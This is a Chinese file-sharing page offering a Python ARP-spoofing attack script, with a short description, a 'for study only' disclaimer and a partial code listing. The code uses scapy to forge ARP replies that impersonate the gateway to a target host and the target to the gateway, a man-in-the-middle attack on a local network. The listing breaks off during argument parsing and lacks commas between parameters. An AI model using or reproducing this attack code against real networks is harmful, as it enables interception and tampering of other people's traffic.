• 大小: 5KB
    文件类型: .py
    金币: 1
    下载: 0 次
    发布日期: 2021-06-03
  • 语言: Python
  • 标签: arp  python  WEB  

资源简介

利用python写的一个基于windows系统的ARP攻击脚本,可进行范围攻击,仅供参考学习,请勿用于非法用途。

资源截图

代码片段和文件信息

#作者:Remix
#仅供参考学习,请勿用于非法用途。
import argparse
import threading
import time
from scapy.all import ARP Ether get_if_hwaddr sendp
from scapy.layers.l2 import getmacbyip
#从命令行直接读取参数
#多线程
#和时间相关的模块
# Ether用来构建以太网数据包
# ARP是构建ARP数据包的类
# sendp方法在第二层发送数据包
# getmacbyip方法用于通过ip获取mac地址
# get_if_hwaddr方法获取指定网卡的mac地址
def get_mac(tgt_ip):
    ‘‘‘
    调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
    ‘‘‘
    tgt_mac = getmacbyip(tgt_ip)
    if tgt_mac is not None:
        return tgt_mac
    else:
        print(“无法获取IP为:%s 主机的MAC地址,请检查目标IP是否存活“ % tgt_ip)
def create_arp_station(src_mac tgt_mac gateway_ip tgt_ip):
    ‘‘‘
    生成ARP数据包,伪造网关欺骗目标计算机
    src_mac:本机的MAC地址,充当中间人
    tgt_mac:目标计算机的MAC
    gateway_ip:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
    tgt_ip:目标计算机的IP
    op=is-at表示ARP响应
    ‘‘‘
    eth = Ether(src=src_mac dst=tgt_mac)
    arp = ARP(hwsrc=src_mac psrc=gateway_ip hwdst=tgt_mac pdst=tgt_ip op=“is-at“)
    pkt = eth / arp
    return pkt
def create_arp_gateway(src_mac gateway_mac tgt_ip gateway_ip):
    ‘‘‘
    生成ARP数据包,伪造目标计算机欺骗网关
    src_mac:本机的MAC地址,充当中间人
    gateway_mac:网关的MAC
    tgt_ip:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
    gateway_ip:网关的IP
    op=is-at表示ARP响应
    ‘‘‘
    eth = Ether(src=src_mac dst=gateway_mac)
    arp = ARP(hwsrc=src_mac psrc=tgt_ip hwdst=gateway_mac pdst=gateway_ip op=“is-at“)
    pkt = eth / arp
    return pkt
def main():
    “““
    主方法
    “““

    #-t 目标 -g 网关
    description = “ARP攻击脚本“
    parser = argparse.ArgumentParser(description=description) #使用argparse的第一步就是创建一个解析器对象,并告诉它将会有些什么参数。那么当你的程序运行时,该解析器就可以用于处理命令行参数。
    # 解析器类是 ArgumentParser 。构造方法接收几个参数来设置用于程序帮助文本的描述信息以及其他全局的行为或设置。
    parser.add_argument(‘-sm‘ dest=‘srcmac‘ type=str help=‘发送源计算机的MAC,如果不提供,默认将采用本机的MAC地址‘)
    parser.add_argument(‘-t‘ dest=‘targetip‘ type=str help=‘指定目标计算机IP‘ required=True)
    parser.add_argument(‘-tm‘ dest=‘targetmac‘

评论

共有 条评论